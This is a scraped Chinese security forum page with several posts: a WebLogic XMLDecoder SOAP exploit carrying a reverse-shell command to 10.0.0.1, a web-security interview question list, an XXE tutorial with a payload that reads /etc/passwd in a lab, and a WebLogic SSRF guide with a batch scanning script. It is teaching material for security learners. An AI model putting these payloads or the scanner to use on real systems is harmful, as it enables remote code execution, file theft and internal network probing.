Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,[i]/[/i];q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >&amp; /dev/tcp/10.0.0.1/21 0>&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

注意:反弹shell的语句,需要进行编码,,否则解析XML的时候将出现格式错误 

大学生毕业季和实习季,Web安全安全常见面试题

Web安全渗透ttgo2 发表了文章 • 4 个评论 • 345 次浏览 • 2018-08-16 17:03 • 来自相关话题

大学生毕业季和实习季,Web安全安全常见面试题 (原创文章,转载请标明出处,谢谢)

Web安全涉及知识点太广了,总体上比较吃经验,用人单位看重有挖掘经验的,但是对基础知识的掌握也是很看重的,针对web安全行业,小编针对技术面试官简单总结了一下,希望能对大家有用。

一、最常见的经验问题:

1、 准备好自己的简历,面试官绝大部分题目都是来自你的简历内容,应该对自己的简历好好准备,简历要突出代码能力和挖掘经验,这点是最吸引面试官的简历
2、 有自己的博客吗? 这里考察学习的内容,知识积累、学习方向和知识深度。因此建议大家有写博客的习惯。
3、 是否参加过众测项目?在其他知名平台是否发布过自己的文章?

二、技术点问题:

2.1 协议安全

1、DDOS的攻击原理、类型和防御
2、什么是DNS有什么样的安全问题?

2.2 数据库安全,中间件, 操作系统

1、msyql的安全问题有哪些?
2、中间件的解析漏洞?
3、操作系统的日志安全管理?

2.3 核心web安全漏洞,

web漏洞种类比较多,这里不列举,举例如下:
企业web安全渗透测试流程谈一下sql 注入漏洞文件上传突破的方法xxs、csrf等漏洞说一下你挖掘过的逻辑漏洞?

2.4 最近一年多发生的0day,或者安全事件

2.5 框架性的漏洞?

举例 stust
Struts2 ,心脏出血,等等


三、现场笔试题

笔试题一般在半个小时做完,除了考察你的基础知识,还是考你的态度,所有一定要认真做题,不要胡乱勾画。


四、其他

找工作除了自己实力,自己的性格积极开朗也很重要,不会别乱喷,谁都有自己的知识盲点,面试官可以理解。


最后:希望这些多少能对大家有点作用, 祝大家都能在就业过程中一帆风顺。 查看全部
大学生毕业季和实习季,Web安全安全常见面试题 (原创文章,转载请标明出处,谢谢)

Web安全涉及知识点太广了,总体上比较吃经验,用人单位看重有挖掘经验的,但是对基础知识的掌握也是很看重的,针对web安全行业,小编针对技术面试官简单总结了一下,希望能对大家有用。

一、最常见的经验问题

1、 准备好自己的简历,面试官绝大部分题目都是来自你的简历内容,应该对自己的简历好好准备,简历要突出代码能力和挖掘经验,这点是最吸引面试官的简历
2、 有自己的博客吗? 这里考察学习的内容,知识积累、学习方向和知识深度。因此建议大家有写博客的习惯。
3、 是否参加过众测项目?在其他知名平台是否发布过自己的文章?

二、技术点问题:

2.1 协议安全

1、DDOS的攻击原理、类型和防御
2、什么是DNS有什么样的安全问题?

2.2 数据库安全,中间件, 操作系统

1、msyql的安全问题有哪些?
2、中间件的解析漏洞?
3、操作系统的日志安全管理?

2.3 核心web安全漏洞

web漏洞种类比较多,这里不列举,举例如下:
  1. 企业web安全渗透测试流程
  2. 谈一下sql 注入漏洞
  3. 文件上传突破的方法
  4. xxs、csrf等漏洞
  5. 说一下你挖掘过的逻辑漏洞?


2.4 最近一年多发生的0day,或者安全事件

2.5 框架性的漏洞?


举例 stust
Struts2 ,心脏出血,等等


三、现场笔试题

笔试题一般在半个小时做完,除了考察你的基础知识,还是考你的态度,所有一定要认真做题,不要胡乱勾画。


四、其他

找工作除了自己实力,自己的性格积极开朗也很重要,不会别乱喷,谁都有自己的知识盲点,面试官可以理解。


最后:希望这些多少能对大家有点作用, 祝大家都能在就业过程中一帆风顺。

Ldap Injection 入门学习

回复

Web安全渗透ttgo2 发起了问题 • 2 人关注 • 0 个回复 • 280 次浏览 • 2018-08-16 11:40 • 来自相关话题

XXE漏洞初识

Web安全渗透ttgo2 发表了文章 • 3 个评论 • 512 次浏览 • 2018-08-09 15:30 • 来自相关话题

一、 什么是XXE漏洞?

  XXE (XML External Entity injection)XML 外部实体注入漏洞,如果XML 文件在引用外部实体时候,可以沟通构造恶意内容,可以导致读取任意文件,命令执行和对内网的攻击,这就是XXE漏洞,这个漏洞需要大家还有一定的XML协议基础,因此为了更好的去理解漏洞本身原理,必须给大家普及一下XML相关的知识点。
 
二、 XML的基础知识点

需要大家安安静静好好看一下XML基础,这里给大家 提供一个学习参考地址:(https://www.w3cschool.cn/xml/xml-intro.html),   为了让大家快速理解上手,我梳理了一下,提取了关键思路点如下:

 2.1、什么是XML?
 
XML是可扩展的标记语言(eXtensible Markup Language),设计用来进行数据的传输和存储, 结构是树形结构,有标签构成,这点很想HTML语言。但是XML和HTML有明显区别如下:
XML 被设计用来传输和存储数据。
HTML 被设计用来显示数据。
 
 2.2、XML结构?
 
来看一个简单的XML 文件结构, 第一行XML的声明,第二<note> 为根元素, 下面的to, from,heading和body 都是子元素,构成了一个出色的自我描述性的结构
 
<?xml version="1.0" encoding="UTF-8"?>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
 
2.3 XML DTD (重点)
 
DTD全称为,Document Type Definition,中文翻译为文档类型定义,是一套为了进行程序间的数据交换而建立的关于标记符的语法规则。
文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。
DTD 有两种声明的方法,一种是内部声明,一种是外部声明,我们下面开具体看一下:
 
DTD 的内部声明:

外部需要一个DTD的文件,比如:note.dtc
<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>

<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
 
DTD的外部声明:
 
<?xml version="1.0" encoding="UTF-8"?>
 
<!DOCTYPE ANY [
<!ENTITY content SYSTEM "filename">
]>
 <note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
 
三、XXE漏洞的成因和危害?
 
3.1 漏洞成因
 
XML数据在传输中数据被修改,服务器执行被恶意插入的代码,最终实现攻击的目的,XXE漏洞就是在XML在外部声明的时候出现了问题。看一下修改后的代码:
 
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY content SYSTEM "file:///etc/passwd&amp;quot; # 直接读取系统的文件
]>
<note>
<name>&content;</name>
</note>

3.2 漏洞危害
[]读取系统文件[/][]执行系统命令[/][]探测内网端口[/][]攻击内部网络[/] 四、 XXE漏洞利用过程 4.1 环境介绍[]OS: Centos 6.5 Linux[/][]中间件:apache[/][]xml的靶场测试环境:https://github.com/vulnspy/phpaudit-XXE[/][]PHP:PHP Version 5.3.3 ,php要求的libxml2.8以下,截图如下:[/] 


 4.2 读取系统文件 step1:为浏览器配置好burpsuit的代理(具体配置不在讲述)step2:打开靶场测试的index.php


step3: 选择“SimpleXMLElement.php”测试,点击"submit"


 step4: 通过burpsuit 截获数据,数据已经URL编码,解码一下,解码网址:zone.secevery.com/code 





 step5:把数据放到repeater 模块step6:提交数据到服务器,读取了/etc/passwd 文件内容


 五、 加固建议[]禁止使用DTD的外部声明[/][]对用户提交过来的XML数据进行过滤[/]
 
备: 本人也在学习中,如果有不准确的地方,希望大牛能多多指正,也希望大家分享的XXE漏洞更多的攻击手法。 查看全部
一、 什么是XXE漏洞?

  XXE (XML External Entity injection)XML 外部实体注入漏洞,如果XML 文件在引用外部实体时候,可以沟通构造恶意内容,可以导致读取任意文件,命令执行和对内网的攻击,这就是XXE漏洞,这个漏洞需要大家还有一定的XML协议基础,因此为了更好的去理解漏洞本身原理,必须给大家普及一下XML相关的知识点。
 
二、 XML的基础知识点

需要大家安安静静好好看一下XML基础,这里给大家 提供一个学习参考地址:(https://www.w3cschool.cn/xml/xml-intro.html),   为了让大家快速理解上手,我梳理了一下,提取了关键思路点如下:

 2.1、什么是XML?
 
XML是可扩展的标记语言(eXtensible Markup Language),设计用来进行数据的传输和存储, 结构是树形结构,有标签构成,这点很想HTML语言。但是XML和HTML有明显区别如下:
XML 被设计用来传输和存储数据。
HTML 被设计用来显示数据。
 
 2.2、XML结构?
 
来看一个简单的XML 文件结构, 第一行XML的声明,第二<note> 为根元素, 下面的to, from,heading和body 都是子元素,构成了一个出色的自我描述性的结构
 
<?xml version="1.0" encoding="UTF-8"?>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
 
2.3 XML DTD (重点)
 
DTD全称为,Document Type Definition,中文翻译为文档类型定义,是一套为了进行程序间的数据交换而建立的关于标记符的语法规则。
文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。
DTD 有两种声明的方法,一种是内部声明,一种是外部声明,我们下面开具体看一下:
 
DTD 的内部声明:

外部需要一个DTD的文件,比如:note.dtc
<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>


<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
 
DTD的外部声明:
 
<?xml version="1.0" encoding="UTF-8"?>
 
<!DOCTYPE ANY [
<!ENTITY content SYSTEM "filename">
]>
 <note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
 
三、XXE漏洞的成因和危害?
 
3.1 漏洞成因
 
XML数据在传输中数据被修改,服务器执行被恶意插入的代码,最终实现攻击的目的,XXE漏洞就是在XML在外部声明的时候出现了问题。看一下修改后的代码:
 
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY content SYSTEM "file:///etc/passwd&amp;quot; # 直接读取系统的文件
]>
<note>
<name>&content;</name>
</note>

3.2 漏洞危害
    []读取系统文件[/][]执行系统命令[/][]探测内网端口[/][]攻击内部网络[/]
 四、 XXE漏洞利用过程 4.1 环境介绍
    []OS: Centos 6.5 Linux[/][]中间件:apache[/][]xml的靶场测试环境:https://github.com/vulnspy/phpaudit-XXE[/][]PHP:PHP Version 5.3.3 ,php要求的libxml2.8以下,截图如下:[/]
 
libxml.png
 4.2 读取系统文件 step1:为浏览器配置好burpsuit的代理(具体配置不在讲述)step2:打开靶场测试的index.php
QQ截图20180809151254.png
step3: 选择“SimpleXMLElement.php”测试,点击"submit"
QQ截图20180809151535.png
 step4: 通过burpsuit 截获数据,数据已经URL编码,解码一下,解码网址:zone.secevery.com/code 
QQ截图20180809151914.png
QQ截图20180809152144.png
 step5:把数据放到repeater 模块step6:提交数据到服务器,读取了/etc/passwd 文件内容
QQ截图20180809152412.png
 五、 加固建议
    []禁止使用DTD的外部声明[/][]对用户提交过来的XML数据进行过滤[/]

 
备: 本人也在学习中,如果有不准确的地方,希望大牛能多多指正,也希望大家分享的XXE漏洞更多的攻击手法。

weblogic漏洞系列-SSRF漏洞

zksmile 发表了文章 • 0 个评论 • 253 次浏览 • 2018-08-09 15:26 • 来自相关话题

0x01前言:
SSRF漏洞的原理这里就不在细说了,这里主要讲解weblogic中SSRF漏洞的检测办法,以及利用手段。
 
0x02检测漏洞:
 
2.1、直接访问:http://ip:7001/uddiexplorer/ ,SSRF漏洞存在于:http://ip:7001/uddiexplorer/SearchPublicRegistries.jsp





2.2、向服务器提交以下参数?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001





关键点是operator这个参数,访问7001端口时返回一个404的状态码。
 
2.3、访问一个不存在的端口会返回以下信息。






可以通过返回的信息不同,来判断端口开放的状态。
 
2.4、实战挖掘的过程中总共遇到过以下几种状态(referer:http://zone.secevery.com/question/121):
状态一、






状态二、






状态三、






状态四、






状态五、





 
2.5批量检测脚本:#!/usr/bin/env python
# -[i]- coding: utf-8 -[/i]-

import re
import sys
import Queue
import requests
import threading

from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

queue = Queue.Queue()
mutex = threading.Lock()


class Test(threading.Thread):
"""docstring for Test"""
def __init__(self, queue):
threading.Thread.__init__(self)
self.queue = queue

def check(self,domain,ip):
payload = "uddiexplorer/SearchPublicRegistries.jsp?operator={ip}&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search".format(ip=ip)
url = domain + payload

try:
html = requests.get(url=url, timeout=15, verify=False).content

m = re.search('weblogic.uddi.client.structures.exception.XML_SoapException',html)
if m:
mutex.acquire()
with open('ssrf1.txt','a+') as f:
print "%s has weblogic ssrf." % domain
f.write("%s has weblogic ssrf." % domain)
mutex.release()
except Exception,e:
print e

def get_registry(self,domain):
payload = 'uddiexplorer/SetupUDDIExplorer.jsp'
url = domain + payload

try:
html = requests.get(url=url, timeout=15, verify=False).content
m = re.search('<i>For example: (.[i]?)/uddi/uddilistener.[/i]?</i>',html)
if m:
return m.group(1)
except Exception,e:
print e


def run(self):
while not self.queue.empty():
domain = self.queue.get()
mutex.acquire()
print domain
mutex.release()
ip = self.get_registry(domain)
self.check(domain,ip)

self.queue.task_done()


if __name__ == '__main__':
with open('domain.txt','r') as f:
lines = f.readlines()
for line in lines:
queue.put(line.strip())

for x in xrange(1,50):
t = Test(queue)
t.setDaemon(True)
t.start()
queue.join() 





0x03、利用手段
 
3.1内网端口探测
我们可以根据返回的不同状态信息,来判断内网的IP是否存在以及对应端口是否开放。这里有一个地方需要注意的是,需要知道目标内网网段。如果盲目的去进行网段扫描会耗费大量的时间。
 
实战挖掘中发现这个位置有可能会泄露内网网段。
 





确定网段之后可以使用脚本来进行快速探测。
 
SSRF不仅仅只是为了探测端口,更强大之处是在于探测到一些信息之后从而进一步的利用.
 
更多的利用手段可以参考以下文章:
https://blog.chaitin.cn/gopher-attack-surfaces/
 
0x04、Referer:
https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf
http://wyb0.com/posts/weblogic-ssrf-check/
 
 
 
 
 
  查看全部
0x01前言:
SSRF漏洞的原理这里就不在细说了,这里主要讲解weblogic中SSRF漏洞的检测办法,以及利用手段。
 
0x02检测漏洞:
 
2.1、直接访问:http://ip:7001/uddiexplorer/ ,SSRF漏洞存在于:
http://ip:7001/uddiexplorer/SearchPublicRegistries.jsp

1.png


2.2、向服务器提交以下参数
?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001

2.png


关键点是operator这个参数,访问7001端口时返回一个404的状态码。
 
2.3、访问一个不存在的端口会返回以下信息。

3.png


可以通过返回的信息不同,来判断端口开放的状态。
 
2.4、实战挖掘的过程中总共遇到过以下几种状态(referer:http://zone.secevery.com/question/121):
状态一、

2.1_.png


状态二、

2.2_.png


状态三、

2.3_.png


状态四、

2.4_.png


状态五、

2.5_.png

 
2.5批量检测脚本:
#!/usr/bin/env python  
# -[i]- coding: utf-8 -[/i]-

import re
import sys
import Queue
import requests
import threading

from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

queue = Queue.Queue()
mutex = threading.Lock()


class Test(threading.Thread):
"""docstring for Test"""
def __init__(self, queue):
threading.Thread.__init__(self)
self.queue = queue

def check(self,domain,ip):
payload = "uddiexplorer/SearchPublicRegistries.jsp?operator={ip}&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search".format(ip=ip)
url = domain + payload

try:
html = requests.get(url=url, timeout=15, verify=False).content

m = re.search('weblogic.uddi.client.structures.exception.XML_SoapException',html)
if m:
mutex.acquire()
with open('ssrf1.txt','a+') as f:
print "%s has weblogic ssrf." % domain
f.write("%s has weblogic ssrf." % domain)
mutex.release()
except Exception,e:
print e

def get_registry(self,domain):
payload = 'uddiexplorer/SetupUDDIExplorer.jsp'
url = domain + payload

try:
html = requests.get(url=url, timeout=15, verify=False).content
m = re.search('<i>For example: (.[i]?)/uddi/uddilistener.[/i]?</i>',html)
if m:
return m.group(1)
except Exception,e:
print e


def run(self):
while not self.queue.empty():
domain = self.queue.get()
mutex.acquire()
print domain
mutex.release()
ip = self.get_registry(domain)
self.check(domain,ip)

self.queue.task_done()


if __name__ == '__main__':
with open('domain.txt','r') as f:
lines = f.readlines()
for line in lines:
queue.put(line.strip())

for x in xrange(1,50):
t = Test(queue)
t.setDaemon(True)
t.start()
queue.join()
 
4.png


0x03、利用手段
 
3.1内网端口探测
我们可以根据返回的不同状态信息,来判断内网的IP是否存在以及对应端口是否开放。这里有一个地方需要注意的是,需要知道目标内网网段。如果盲目的去进行网段扫描会耗费大量的时间。
 
实战挖掘中发现这个位置有可能会泄露内网网段。
 
5.png


确定网段之后可以使用脚本来进行快速探测。
 
SSRF不仅仅只是为了探测端口,更强大之处是在于探测到一些信息之后从而进一步的利用.
 
更多的利用手段可以参考以下文章:
https://blog.chaitin.cn/gopher-attack-surfaces/
 
0x04、Referer:
https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf
http://wyb0.com/posts/weblogic-ssrf-check/